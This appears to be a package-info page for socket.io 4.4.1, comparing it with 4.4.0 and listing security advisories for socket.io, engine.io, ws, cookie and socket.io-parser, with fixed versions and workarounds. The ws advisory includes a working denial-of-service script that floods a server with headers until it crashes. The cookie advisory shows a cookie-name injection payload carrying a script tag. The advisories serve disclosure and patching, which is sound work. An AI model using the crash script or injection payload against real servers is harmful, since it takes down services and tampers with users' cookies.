Socket.IO version 4.4.1 represents a minor update to the widely-used real-time communication library for Node.js. Comparing it to the previous stable version, 4.4.0, reveals subtle yet potentially important distinctions for developers. Both versions maintain identical core dependencies, including debug, accepts, base64id, engine.io, socket.io-parser, and socket.io-adapter, indicating a stable foundation for real-time functionality. The development dependencies are largely consistent as well, encompassing tools like nyc, tsd, mocha, rimraf, ts-node, prettier, expect.js, supertest, superagent, typescript, and @types/mocha, suggesting a continued commitment to testing and quality assurance. A key difference lies is in the socket.io-client dependency, with version 4.4.1 depending on the same titled package.
Notably, the dist metadata reveals a slight change in package size. Version 4.4.1 presents a marginally smaller unpacked size (984082 bytes) compared to version 4.4.0 (1000434 bytes) and similarly the file count is also different, with a file less in the new version. This hints at potential optimizations or minor adjustments in the codebase. Developers should consult the changelog for socket.io to understand the specific fixes or improvements incorporated in version 4.4.1 since it is a patch release. If you are experiencing problems with one stable release, or simply want to benefit from a potential patch, upgrading should also be considered, as the upgrade cost is usually low between minor versions.
All the vulnerabilities related to the version 4.4.1 of the package
socket.io has an unhandled 'error' event
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
node:events:502
throw err; // Unhandled 'error' event
^
Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
at new NodeError (node:internal/errors:405:5)
at Socket.emit (node:events:500:17)
at /myapp/node_modules/socket.io/lib/socket.js:531:14
at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
code: 'ERR_UNHANDLED_ERROR',
context: undefined
}
| Version range | Needs minor update? |
|------------------|------------------------------------------------|
| 4.6.2...latest
| Nothing to do |
| 3.0.0...4.6.1
| Please upgrade to socket.io@4.6.2
(at least) |
| 2.3.0...2.5.0
| Please upgrade to socket.io@2.5.1
|
This issue is fixed by https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115, included in socket.io@4.6.2
(released in May 2023).
The fix was backported in the 2.x branch today: https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c
As a workaround for the affected versions of the socket.io
package, you can attach a listener for the "error" event:
io.on("connection", (socket) => {
socket.on("error", () => {
// ...
});
});
If you have any questions or comments about this advisory:
Thanks a lot to Paul Taylor for the responsible disclosure.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io
package, including those who uses depending packages like socket.io
.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y
| 3.6.1
|
| engine.io@6.x.y
| 6.2.1
|
For socket.io
users:
| Version range | engine.io
version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x
| ~6.2.0
| npm audit fix
should be sufficient |
| socket.io@4.4.x
| ~6.1.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.3.x
| ~6.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.2.x
| ~5.2.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.1.x
| ~5.1.1
| Please upgrade to socket.io@4.5.x
|
| socket.io@4.0.x
| ~5.0.0
| Please upgrade to socket.io@4.5.x
|
| socket.io@3.1.x
| ~4.1.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@3.0.x
| ~4.0.0
| Please upgrade to socket.io@4.5.x
(see here) |
| socket.io@2.5.0
| ~3.6.0
| npm audit fix
should be sufficient |
| socket.io@2.4.x
and below | ~3.5.0
| Please upgrade to socket.io@2.5.0
|
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.io
Thanks to Jonathan Neve for the responsible disclosure.
engine.io Uncaught Exception vulnerability
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
TypeError: Cannot read properties of undefined (reading 'handlesUpgrades')
at Server.onWebSocket (build/server.js:515:67)
This impacts all the users of the engine.io
package, including those who uses depending packages like socket.io
.
A fix has been released today (2023/05/02): 6.4.2
This bug was introduced in version 5.1.0 and included in version 4.1.0 of the socket.io
parent package. Older versions are not impacted.
For socket.io
users:
| Version range | engine.io
version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.6.x
| ~6.4.0
| npm audit fix
should be sufficient |
| socket.io@4.5.x
| ~6.2.0
| Please upgrade to socket.io@4.6.x
|
| socket.io@4.4.x
| ~6.1.0
| Please upgrade to socket.io@4.6.x
|
| socket.io@4.3.x
| ~6.0.0
| Please upgrade to socket.io@4.6.x
|
| socket.io@4.2.x
| ~5.2.0
| Please upgrade to socket.io@4.6.x
|
| socket.io@4.1.x
| ~5.1.1
| Please upgrade to socket.io@4.6.x
|
| socket.io@4.0.x
| ~5.0.0
| Not impacted |
| socket.io@3.1.x
| ~4.1.0
| Not impacted |
| socket.io@3.0.x
| ~4.0.0
| Not impacted |
| socket.io@2.5.0
| ~3.6.0
| Not impacted |
| socket.io@2.4.x
and below | ~3.5.0
| Not impacted |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.io
Thanks to Thomas Rinsma from Codean for the responsible disclosure.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size
and/or the maxHeaderSize
options so that no more headers than the server.maxHeadersCount
limit can be sent.server.maxHeadersCount
to 0
so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)
would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"
, setting userName
cookie to <script>
and ignoring value
.
A similar escape can be used for path
and domain
, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name
, path
, and domain
.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.
Insufficient validation when decoding a Socket.IO packet
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
TypeError: Cannot convert object to primitive value
at Socket.emit (node:events:507:25)
at .../node_modules/socket.io/lib/socket.js:531:14
A fix has been released today (2023/05/22):
socket.io-parser@4.2.3
socket.io-parser@3.4.3
Another fix has been released for the 3.3.x
branch:
| socket.io
version | socket.io-parser
version | Needs minor update? |
|---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------|
| 4.5.2...latest
| ~4.2.0
(ref) | npm audit fix
should be sufficient |
| 4.1.3...4.5.1
| ~4.1.1
(ref) | Please upgrade to socket.io@4.6.x
|
| 3.0.5...4.1.2
| ~4.0.3
(ref) | Please upgrade to socket.io@4.6.x
|
| 3.0.0...3.0.4
| ~4.0.1
(ref) | Please upgrade to socket.io@4.6.x
|
| 2.3.0...2.5.0
| ~3.4.0
(ref) | npm audit fix
should be sufficient |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
Thanks to @rafax00 for the responsible disclosure.